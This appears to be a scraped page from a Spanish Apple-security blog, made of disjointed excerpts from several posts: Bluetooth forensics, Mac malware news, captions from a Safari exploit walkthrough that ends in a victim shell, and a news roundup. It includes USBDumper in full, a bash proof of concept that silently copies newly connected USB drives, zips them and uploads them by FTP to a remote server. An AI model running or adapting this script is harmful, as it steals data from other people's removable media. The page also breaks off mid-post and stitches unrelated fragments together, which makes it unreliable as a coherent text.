Los más preocupados por la seguridad no suelen tener activadas las conexiones Bluetooth en los sistemas por varios motivos. La primera de ellas porque indica tu presencia, la segundar porque es una molestia que haya hax0rs cerca que estén intentando colarte mensajes de aceptación de conexiones, la tercera porque consume batería. Es bastante común entre algunos curiosos de la seguridad informática hacer un escaneo Bluetooth antes de llegar a un sitio para saber quién está dentro, si conoces los nombres de los dispositivos de las personas. |
| Figura 1: Fichero /library/Preferences/com.apple.Bluetooth.plist |
 |
| Figura 2: Dispositivo Maria 5230 en contacto el 9 de Agosto de 2011 |
 |
| Figura 1: El Mercedes de Steve Jobs aparcado en la plaza de minusválidos en Apple |
 |
| Figura 2: Steve Jobs conduciendo su Mercedes sin matricular por San Francisco |
Tristemente, día a día, el número de muestras de malware nueva, y mutaciones de piezas ya conocidas empieza a ser habitual en las plataformas Mac OS X. Si este año comenzamos con el ataque MacDefender y todas sus evoluciones, las adaptaciones de malware como DarkCometX, la aparición de nuevos troyanos como OSX/Imuler (aka OSX/Revir), OSX/FlashBack (aka OSX/QHost.WB) con todas su modificaciones, o el descubrimiento de hace un par de día sde OSX/Tsunami han hecho que ya sea habitual hablar de troyanos y malware en sistemas Mac. |
| Figura 1: DevilRobber.A |
 |
| Visto en Deviantart |
 |
| Figura 1: Exploit para Apple Safari 5.0.6 |
 |
| Figura 2: Configuración del exploit |
 |
| Figura 3: Opciones de configuración del exploit |
 |
| Figura 4: Ejecución del exploit |
 |
| Figura 5: Máquina del atacante escuchando por el puerto 80 para lanzar el exploit |
 |
| Figura 6: La víctima se conecta con Apple Safari 5.0.6 vulnerable y se lanza el exploit |
 |
| Figura 7: Exploit lanzado al usuario que se ha conectado |
 |
| Figura 8: Máquina de la víctima con la conexión activa ofreciendo la shell |
 |
| Figura 1: Aula para la formación |
 |
| Figura 1: Comandos del troyano Tsumani |
USBDumper es un pequeño script desarrollado en Octubre del año pasado para Seguridad Apple desde el equipo de auditoría de aplicaciones web de Informática64, y cuya finalidad era demostrar en una prueba de concepto (POC), que se pueden robar los datos de los pendrives que se conectan a nuestro equipo Mac OS X fácilmente, y luego sacar el "jugo" de los datos robados. |
| Figura 1: USB Dumper enviando el backup a la nube |
#!/bin/bash #www.seguridadapple.com SERVER="host" USERNAME="user" PASSWORD="password" function saveDefaultDevices() { rm -rf /tmp/usblist /tmp/Volumes mkdir /tmp/Volumes for vol in /Volumes/* do echo $vol >> /tmp/usblist echo "Detecting $vol as default" done } function checkDevices() { for vol in /Volumes/* do aux=`cat /tmp/usblist |grep -i "$vol"` aux=`echo $?` if [ $aux -eq 1 ]; then nombre=`echo $vol | awk -F "/" '{print $3}'` echo $vol >> /tmp/usblist mkdir "/tmp$vol"? echo "[+] Dumping $vol in /tmp$vol" sleep 1 cp -R "$vol" "/tmp/Volumes/" auxVol="/tmp/$nombre.zip" rm -rf $auxVol echo "Compressing files [ /tmp$vol in $auxVol ]" zip -r "$auxVol" "/tmp$vol" > /dev/null echo "Uploading to FTP" ftp -n -i $SERVER <<EOF user $USERNAME $PASSWORD binary put "$auxVol" "$nombre" quit EOF echo "[+] Done" fi done } saveDefaultDevices while [ 1 ]; do checkDevices sleep 1 done |
 |
| Semithether 0.7.2 |
Los llamados Instruments - antiguamente conocidos como XRay - son en realidad un analizador de rendimiento integrado en XCode desde su versión 3.0. Esta herramienta está basada en la conocida aplicación DTrace, con la diferencia que caracteriza todos los productos de la marca Apple: El diseño y la comodidad. En este articulo se verá cómo se puede utilizar Instruments para realizar el análisis de aplicaciones de las cuales sospechemos que realizan otras tareas añadidas además de las que afirman hacer. Es decir, para detectar comportamientos de adware, spyware o malware. |
| Figura 1: Plantillas de análisis en Instruments |
 |
| Figura 2: Selección de Instrumentos a usar en el análisis |
 |
| Figura 3: Selección de objetivo, en este caso Filezilla |
 |
| Figura 4: Recogida de datos de actividad durante el análisis |
Como cada dos semanas damos inicio a nuestra sección Fue Noticia, resumiendo los apartados más destacados de cada una de las noticias que hemos publicado durante estas dos semanas atrás. Vamos a ello, que ha habido para dar y tomar.
El mismo viernes anunciábamos como unos días después de la liberación del iOS 5 ya existe una versión de UltraSn0w(1.2.4), la famosa aplicación que desbloquea el terminal que está "atado" a una compañía telefónica, para ayudarnos a ser un poco más libres y poder elegir qué compañía queremos utilizar.
Finalizando la semana el domingo 16, nuestros compañeros y amigos de Cyberhades, en un pequeño homenaje a la persona de Steve Jobs en el día de su fallecimiento, quisieron recordarle con una Micro Historia del mundo de la tecnología a las que nos tienen acostumbrados. En esta ocasión, la leyenda de Mr. Macintosh. 
El día 18 se hizo un vistazo a las novedades en seguridad que implementa el nuevo IOS 5 tales como: un mejor Safari, los certificados de Diginotar bloqueados, soporte S/MIME, una mejor gestión de notificaciones, y 98 parches de seguridad - ahí es nada - entre otras.
A continuación del día os dábamos a conocer un trabajo de investigación de un grupo de la Universidad de Georgia muy interesante, el cual consiste la realización de una aplicación que será capazde capturar los keystrokes del teclado a través las vibraciones quellegan hasta el acelerómetro del terminal iPhone en cada pulsación. |
| Figura 1: Compartir Internet activado para USB y WiFi |
 |
| Figura 2: Red WiFi creada por el terminal iPhone que comparte Internet |
La semana pasada se liberó la nueva versión de Latch y nuestro compañero Chema Alonso hizo un repaso de todo ello en su artículo Latch...
